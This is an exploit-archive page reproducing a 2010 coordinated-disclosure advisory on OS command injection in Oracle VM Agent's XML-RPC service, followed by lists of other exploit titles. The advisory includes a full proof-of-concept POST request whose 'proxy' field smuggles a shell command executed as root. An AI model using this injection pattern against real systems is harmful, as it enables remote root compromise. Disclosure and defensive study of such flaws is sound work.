Menu

Search for hundreds of thousands of exploits

"Oracle Virtual Server Agent - Command Injection"

Author

Exploit author

"Nahuel Grisolia"

Platform

Exploit platform

unix

Release date

Exploit published date

2010-10-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
Oracle Virtual Server Agent Command Injection
=============================================

1. Advisory Information
Advisory ID: BONSAI-2010-0109
Date published: 2010-10-13
Vendors contacted: Oracle
Release mode: Coordinated release

2. Vulnerability Information
Class: Injection
Remotely Exploitable: Yes
Locally Exploitable: Yes

3. Software Description
Oracle VM is server virtualization software which fully supports both
Oracle and non-Oracle applications. Oracle VM offers scalable, low-cost
server virtualization that is three times more efficient than existing
server virtualization products from other vendors. Oracle has also
announced certification of key Oracle products including Oracle
Database, Oracle Fusion Middleware, Oracle Applications, and Oracle Real
Application Clusters with Oracle VM.

Oracle VM Manager communicates with Oracle VM Agent to create and manage
guests on an Oracle VM Server. Oracle VM Agent is installed and
configured during the installation of Oracle VM Server.

By default, Oracle VM Agent is executed, with a highly privileged user,
typically root.

4. Vulnerability Description
Injection flaws, such as SQL, OS, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query.
The attackers hostile data can trick the interpreter into executing
unintended commands or accessing unauthorized data.

5. Vulnerable packages
We ran our tests using Oracle Virtual Server release 2.2.0 with Oracle
VM Agent 2.3.

6. Non-vulnerable packages
Patch set 2.2.1 and above

7. Credits
This vulnerability was discovered by Nahuel Grisolia ( nahuel -at-
bonsai-sec.com ).

8. Technical Description
8.1. OS Command Injection
CVSSv2 Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Oracle VS Agent is prone to a remote command execution vulnerability
because the software fails to adequately sanitize user-supplied input.
Oracle VS Agent exposes through XML-RPC several functions. One of these
functions is validate_master_ip, which receives four parameters. The
second parameter "proxy", is vulnerable to command injection, because it
is not properly sanitized and its content is concatenated in an
operative system command, executed as a highly privileged user
(typically root).
The following POST message can be sent to the VM Agent XML-RPC port. By
doing this, the ping command is executed as follows:

POST /RPC2 HTTP/1.0
User-Agent: XML-RPC for PHP 3.0.0.beta
authorization: Basic XXXXXXXXXXXXXXX
Host: XXX.XXX.XXX.XXX:8899
Accept-Encoding: gzip, deflate
Accept-Charset: UTF-8,ISO-8859-1,US-ASCII
Content-Type: text/xml
Content-Length: 416

<?xml version="1.0"?>
<methodCall>
<methodName>utl_test_url</methodName>
<params>
<param>
<value><string>http://192.168.1.101</string></value>
</param>
<param>
<value><string>192.168.1.103'; ping –c 10 localhost; '</string></value>
</param>
<param>
<value><string>192.168.1.101</string></value>
</param>
<param>
<value><string>192.168.1.101</string></value>
</param>
</params>
</methodCall>

9. Report Timeline
 2010-09-24 / Bonsai provides vulnerability information to ORACLE
 2010-09-29 / Oracle confirms the vulnerability
 2010-10-12 / Oracle published Critical Patch Update Fix
 2010-10-13 / Public Disclosure

10. About Bonsai
Bonsai is a company involved in providing professional computer
information security services. Currently a sound growth company, since
its foundation in early 2009 in Buenos Aires, Argentina, we are fully
committed to quality service, and focused on our customers real needs.

11. Disclaimer
The contents of this advisory are copyright (c) 2010 Bonsai Information
Security, and may be distributed freely provided that no fee is charged
for this distribution and proper credit is given.

12. Research
http://www.bonsai-sec.com/en/research/vulnerability.php
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2012-11-26 "Websense Proxy - Filter Bypass" dos multiple "Nahuel Grisolia"
2012-04-09 "Dolibarr ERP/CRM < 3.2.0 / < 3.1.1 - OS Command Injection" webapps php "Nahuel Grisolia"
2010-12-09 "VMware Tools - Update OS Command Injection" remote multiple "Nahuel Grisolia"
2010-10-13 "Oracle Virtual Server Agent - Command Injection" remote unix "Nahuel Grisolia"
2010-05-19 "McAfee Email Gateway - Web Administration Broken Access Control" webapps freebsd "Nahuel Grisolia"
2010-05-19 "McAfee Email Gateway 6.7.1 - 'systemWebAdminConfig.do' Remote Security Bypass" remote windows "Nahuel Grisolia"
2010-04-22 "Cacti 0.8.7e - SQL Injection" webapps php "Nahuel Grisolia"
2010-04-22 "Cacti 0.8.7e - OS Command Injection" webapps php "Nahuel Grisolia"
2010-04-06 "McAfee Email Gateway (formerly IronMail) - Denial of Service" dos hardware "Nahuel Grisolia"
2010-04-06 "McAfee Email Gateway (formerly IronMail) - Cross-Site Scripting" webapps hardware "Nahuel Grisolia"
2010-04-06 "McAfee Email Gateway (formerly IronMail) - Local Privilege Escalation" local freebsd "Nahuel Grisolia"
2010-04-06 "McAfee Email Gateway (formerly IronMail) - Internal Information Disclosure" local freebsd "Nahuel Grisolia"
2010-04-06 "McAfee Email Gateway < 6.7.2 Hotfix 2 - Multiple Vulnerabilities" dos windows "Nahuel Grisolia"
2010-03-18 "ManageEngine ServiceDesk Plus 7.6 - woID SQL Injection" webapps jsp "Nahuel Grisolia"
2010-03-16 "OSSIM 2.2 - Multiple Vulnerabilities" webapps php "Nahuel Grisolia"
2010-03-16 "eGroupWare 1.6.002 and eGroupWare premium line 9.1 - Multiple Vulnerabilities" webapps php "Nahuel Grisolia"
2010-03-02 "IBM Lotus Domino 7.0.2 - 'readme.nsf' Cross-Site Scripting" remote multiple "Nahuel Grisolia"
2010-02-09 "osTicket 1.6 RC5 - Multiple Vulnerabilities" webapps php "Nahuel Grisolia"
2010-02-04 "KnowGate hipergate 4.0.12 - Multiple Cross-Site Scripting Vulnerabilities" webapps jsp "Nahuel Grisolia"
2010-02-03 "Hipergate 4.0.12 - Multiple Vulnerabilities" webapps jsp "Nahuel Grisolia"
2009-12-16 "OSSIM 2.1.5 - SQL Injection" webapps php "Nahuel Grisolia"
2009-12-16 "OSSIM 2.1.5 - Arbitrary File Upload" webapps php "Nahuel Grisolia"
2009-12-16 "OSSIM 2.1.5 - Remote Command Execution" webapps php "Nahuel Grisolia"
2009-12-04 "Achievo 1.4.2 - Arbitrary File Upload" webapps php "Nahuel Grisolia"
2009-12-04 "Achievo 1.4.2 - Persistent Cross-Site Scripting" webapps php "Nahuel Grisolia"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.